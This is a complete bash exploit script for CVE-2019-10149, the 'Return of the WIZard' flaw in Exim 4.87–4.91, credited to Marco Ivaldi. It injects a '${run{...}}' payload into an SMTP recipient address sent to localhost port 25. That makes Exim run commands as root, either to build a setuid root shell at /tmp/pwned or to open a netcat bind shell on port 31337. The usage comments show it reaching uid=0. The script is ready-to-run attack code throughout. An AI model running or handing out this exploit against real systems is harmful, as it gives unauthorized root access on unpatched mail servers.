Share
#!/bin/bash  
  
#  
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit  
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>  
#  
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).   
# Improper validation of recipient address in deliver_message()   
# function in /src/deliver.c may lead to remote command execution.  
# (CVE-2019-10149)  
#  
# This is a local privilege escalation exploit for "The Return   
# of the WIZard" vulnerability reported by the Qualys Security   
# Advisory team.  
#  
# Credits:  
# Qualys Security Advisory team (kudos for your amazing research!)  
# Dennis 'dhn' Herrmann (/dev/tcp technique)  
#  
# Usage (setuid method):  
# $ id  
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]  
# $ ./raptor_exim_wiz -m setuid  
# Preparing setuid shell helper...  
# Delivering setuid payload...  
# [...]  
# Waiting 5 seconds...  
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned  
# # id  
# uid=0(root) gid=0(root) groups=0(root)  
#  
# Usage (netcat method):  
# $ id  
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]  
# $ ./raptor_exim_wiz -m netcat  
# Delivering netcat payload...  
# Waiting 5 seconds...  
# localhost [127.0.0.1] 31337 (?) open  
# id  
# uid=0(root) gid=0(root) groups=0(root)  
#  
# Vulnerable platforms:  
# Exim 4.87 - 4.91  
#  
# Tested against:  
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]  
#  
  
METHOD="setuid" # default method  
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'  
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'  
  
# usage instructions  
function usage()  
{  
echo "$0 [-m METHOD]"  
echo  
echo "-m setuid : use the setuid payload (default)"  
echo "-m netcat : use the netcat payload"  
echo  
exit 1  
}  
  
# payload delivery  
function exploit()  
{  
# connect to localhost:25  
exec 3<>/dev/tcp/localhost/25  
  
# deliver the payload  
read -u 3 && echo $REPLY  
echo "helo localhost" >&3  
read -u 3 && echo $REPLY  
echo "mail from:<>" >&3  
read -u 3 && echo $REPLY  
echo "rcpt to:<$PAYLOAD>" >&3  
read -u 3 && echo $REPLY  
echo "data" >&3  
read -u 3 && echo $REPLY  
for i in {1..31}  
do  
echo "Received: $i" >&3  
done  
echo "." >&3  
read -u 3 && echo $REPLY  
echo "quit" >&3  
read -u 3 && echo $REPLY  
}  
  
# print banner  
echo  
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'  
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'  
echo  
  
# parse command line  
while [ ! -z "$1" ]; do  
case $1 in  
-m) shift; METHOD="$1"; shift;;  
* ) usage  
;;  
esac  
done  
if [ -z $METHOD ]; then  
usage  
fi  
  
# setuid method  
if [ $METHOD = "setuid" ]; then  
  
# prepare a setuid shell helper to circumvent bash checks  
echo "Preparing setuid shell helper..."  
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c  
gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null  
if [ $? -ne 0 ]; then  
echo "Problems compiling setuid shell helper, check your gcc."  
echo "Falling back to the /bin/sh method."  
cp /bin/sh /tmp/pwned  
fi  
echo  
  
# select and deliver the payload  
echo "Delivering $METHOD payload..."  
PAYLOAD=$PAYLOAD_SETUID  
exploit  
echo  
  
# wait for the magic to happen and spawn our shell  
echo "Waiting 5 seconds..."  
sleep 5  
ls -l /tmp/pwned  
/tmp/pwned  
  
# netcat method  
elif [ $METHOD = "netcat" ]; then  
  
# select and deliver the payload  
echo "Delivering $METHOD payload..."  
PAYLOAD=$PAYLOAD_NETCAT  
exploit  
echo  
  
# wait for the magic to happen and spawn our shell  
echo "Waiting 5 seconds..."  
sleep 5  
nc -v 127.0.0.1 31337  
  
# print help  
else  
usage  
fi